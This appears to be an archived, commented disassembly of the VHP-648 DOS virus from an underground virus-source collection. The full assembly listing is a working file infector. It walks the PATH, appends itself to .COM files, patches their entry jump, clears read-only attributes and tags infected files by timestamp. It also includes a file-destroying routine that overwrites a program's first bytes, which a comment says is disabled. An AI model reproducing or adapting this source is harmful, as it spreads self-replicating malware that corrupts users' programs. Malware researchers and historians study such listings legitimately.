Underground/Underground CD1.iso/virii/zrodla/c/c-623.asm

Assembly Source File | 1998-01-14 | 10.8 KB | 320 lines

      name        Virus
      title       Disassembly listing of the VHP-648 virus
     .radix       16
      code        segment
      assume      cs:code,ds:code
      org         100
environ   equ     2C

start:
      jmp      virus
      . . .
virus:
      push      cx              ;Save CX
      mov       dx,offset data  ;Restore original first instruction
                                ; before each contamination
modify equ      $-2             ;The instruction above is changed
      cld
      mov      si,dx
      add      si,saveins-data  ;Instruction saved there
      mov      di,offset start
      mov      cx,3             ;Move 3 bytes
      rep      movsb            ;Do it
      mov      si,dx            ;Keep SI pointed at data

      mov      ah,30            ;Get DOS version
      int      21
      cmp      al,0             ;Less than 2.0?
      jne      skip1
      jmp      exit             ;Exit if so

skip1:
      push     es               ;Save ES
      mov      ah,2F            ;Get current DTA in ES:BX
      int      21
      mov      word ptr [si+0],bx      ;dtaadr
      mov      word ptr [si+2],es
      pop      es               ;Restore ES

      mov      dx,mydta-data
      add      dx,si
      mov      ah,1A            ;Set DTA
      int      21

      push      es              ;Save ES & SI
      push      si
      mov      es,ds:[environ]  ;Environment address
      mov      di,0
n_00015A:                       ;Search 'PATH=' in the environment
      pop      si               ;Restore data offset in SI
      push     si
      add      si,pathstr-data
      lodsb
      mov      cx,8000          ;Maximum 32K in environment
      repne    scasb            ;Search for first letter ('P')
      mov      cx,4             ;4 letters in 'PATH'
n_000169:
      lodsb                     ;Search for next char
      scasb
      jne      n_00015A         ;If not found, search for next 'P'
      loop     n_000169         ;Loop until done
      pop      si               ;Restore SI & ES
      pop      es

      mov      [si+16],di       ;Save 'PATH' offset in poffs
      mov      di,si
      add      di,fname-data    ;Point SI & DI at '=' sign
      mov      bx,si            ;Point BX at data area
      add      si,fname-data
      mov      di,si
      jmp      short n_0001BF

n_000185:
      cmp      word ptr [si+16],6C  ;poffs
      jne      n_00018F
      jmp      olddta
n_00018F:
      push     ds
      push     si
      mov      ds,es:[environ]
      mov      di,si
      mov      si,es:[di+16]    ;poffs
      add      di,fname-data
n_0001A1:
      lodsb
      cmp      al,';'
      je       n_0001B0
      cmp      al,0
      je       n_0001AD
      stosb
      jmp      n_0001A1
n_0001AD:
      mov      si,0
n_0001B0:
      pop      bx
      pop      ds
      mov      [bx+16],si       ;poffs
      cmp      byte ptr [di-1],'\'
      je       n_0001BF
      mov      al,'\'           ;Add '\' if not already present
      stosb

n_0001BF:
      mov      [bx+18],di       ;Save '=' offset in eqoffs
      mov      si,bx            ;Restore data pointer in SI
      add      si,allcom-data
      mov      cx,6             ;6 bytes in ASCIIZ '*.COM'
      rep      movsb            ;Move '*.COM' at fname
      mov      si,bx            ;Restore SI

      mov      ah,4E            ;Find first file
      mov      dx,fname-data
      add      dx,si
      mov      cx,11b            ;Hidden, Read/Only or Normal files
      int      21
      jmp      short n_0001E3

findnext:
      mov      ah,4F             ;Find next file
      int      21
n_0001E3:
      jnc      n_0001E7          ;If found, try to contaminate it
      jmp      n_000185          ;Otherwise search in another directory

n_0001E7:
      mov      ax,[si+75]        ;Check file time
      and      al,11111b         ; (the seconds, more exactly)
      cmp      al,62d/2          ;Are they 62?

;If so, file is already contains the virus, search for another:

      je       findnext
      cmp      [si+79],64000d    ;Is file size greather than 64,000 bytes?
      ja       findnext          ;If so, search for next file
      cmp      word ptr [si+79],10d  ;Is file size less than 10 bytes?
      jb       findnext              ;If so, search for next file

      mov      di,[si+18]        ;eqoffs
      push     si                ;Save SI
      add      si,namez-data     ;Point SI at namez
n_000209:
      lodsb
      stosb
      cmp      al,0
      jne      n_000209

      pop      si                ;Restore SI
      mov      ax,4300           ;Get file attributes
      mov      dx,fname-data
      add      dx,si
      int      21

      mov      [si+8],cx         ;Save them in fattrib
      mov      ax,4301           ;Set file attributes

;The next `db's are there because MASM can't assemble
; the instruction `and cx,0FFFE' correctly (the fool!):

      and      cx,0FFFE          ;Turn off Read Only flag
      mov      dx,fname-data
      add      dx,si
      int      21

      mov      ax,3D02           ;Open file with Read/Write access
      mov      dx,fname-data
      add      dx,si
      int      21
      jnc      n_00023E
      jmp      oldattr           ;Exit on error
n_00023E:
      mov      bx,ax             ;Save file handle in BX
      mov      ax,5700           ;Get file date & time
      int      21
      mov      [si+4],cx         ;Save time in ftime
      mov      [si+6],dx         ;Save date in fdate

      mov      ah,2C             ;Get system time
      int      21
      and      dh,111b           ;Are seconds a multiple of 8?

;If so, destroy file (don't contaminate). Now this code is disabled.

      jmp      short n_000266    ;CHANGED. Was jnz here

;Destroy file by rewriting an illegal jmp as first instruction:

      mov      ah,40             ;Write to file handle
      mov      cx,5              ;Write 5 bytes
      mov      dx,si
      add      dx,bad_jmp-data   ;Write THESE bytes
      int      21                ;Do it
      jmp      short oldtime     ;Exit

;Try to contaminate file:

;Read first instruction of the file (first 3 bytes) and save it in saveins:

n_000266:
      mov      ah,3F             ;Read from file handle
      mov      cx,3              ;Read 3 bytes
      mov      dx,saveins-data   ;Put them there
      add      dx,si
      int      21
      jc       oldtime           ;Exit on error
      cmp      ax,3              ;Are really 3 bytes read?
      jne      oldtime           ;Exit if not

;Move file pointer to end of file:

      mov      ax,4202           ;LSEEK from end of file
      mov      cx,0              ;0 bytes from end
      mov      dx,0
      int      21
      jc       oldtime           ;Exit on error

      mov      cx,ax             ;Get the value of file pointer
      sub      ax,3              ;Subtract 3 from it to get real code size
      mov      [si+14d],ax       ;Save result in filloc
      add      cx,data-(virus-100)
      mov      di,si
      sub      di,data-modify    ;A little self-modification
      mov      [di],cx

      mov      ah,40             ;Write to file handle
      mov      cx,enddata-virus  ;Virus code length as bytes to be written
      mov      dx,si
      sub      dx,data-virus     ;Now DX points at virus label
      int      21
      jc       oldtime           ;Exit on error
      cmp      ax,enddata-virus  ;Are all bytes written?
      jne      oldtime           ;Exit if not

      mov      ax,4200           ;LSEEK from the beginning of the file
      mov      cx,0              ;Just at the file beginning
      mov      dx,0
      int      21
      jc       oldtime           ;Exit on error

;Rewrite the first instruction of the file with a jump to the virus code:

      mov      ah,40             ;Write to file handle
      mov      cx,3              ;3 bytes to write
      mov      dx,si
      add      dx,newjmp-data    ;Write THESE bytes
      int      21

oldtime:
      mov      dx,[si+6]         ;Restore file date
      mov      cx,[si+4]         ; and time

;And these again are due to the MASM 5.0 foolness:

      db      081,0E1,0E0,0FF
      db      081,0C9,01F,000
;      and      cx,not 11111b
;      or      cx,11111b         ;Set seconds to 62 (?!)

      mov      ax,5701           ;Set file date & time
      int      21
      mov      ah,3E             ;Close file handle
      int      21

oldattr:
      mov      ax,4301           ;Set file attributes
      mov      cx,[si+8]         ;They were saved in fattrib
      mov      dx,fname-data
      add      dx,si
      int      21

olddta:
      push     ds                ;Save DS
      mov      ah,1A             ;Set DTA
      mov      dx,[si+0]         ;Restore saved DTA
      mov      ds,[si+2]
      int      21
      pop      ds                ;Restore DS

exit:
      pop      cx                ;Restore CX
      xor      ax,ax             ;Clear registers
      xor      bx,bx
      xor      dx,dx
      xor      si,si
      mov      di,100            ;Jump to CS:100
      push     di                ; by doing funny RET
      xor      di,di
      ret      -1

data label byte                 ;Data section
dtaaddr    dd      ?            ;Disk Transfer Address
ftime      dw      ?            ;File date
fdate      dw      ?            ;File time
fattrib    dw      ?            ;File attribute
saveins    db      0EBh,0Fh,90  ;Original first 3 bytes
newjmp     db      0E9          ;Code of jmp instruction
filloc     dw      ?            ;File pointer is saved here
allcom     db      '*.COM',0    ;Filespec to search for
poffs      dw      ?            ;Address of 'PATH' string
eqoffs     dw      ?            ;Address of '=' sign
pathstr    db      'PATH='
fname      db      40 dup (' ') ;Path name to search for

;Disk Transfer Address for Find First / Find Next:

mydta label byte
drive       db      ?           ;Drive to search for
pattern     db      13d dup (?) ;Search pattern
reserve     db      7 dup (?)   ;Not used
attrib      db      ?           ;File attribute
time        dw      ?           ;File time
date        dw      ?           ;File date
fsize       dd      ?           ;File size
namez       db      13d dup (?) ;File name found

;This replaces the first instruction of a destroyed file:

bad_jmp db      0EA,0Bh,2,13,58
enddata label   byte
     code       ends
                end       start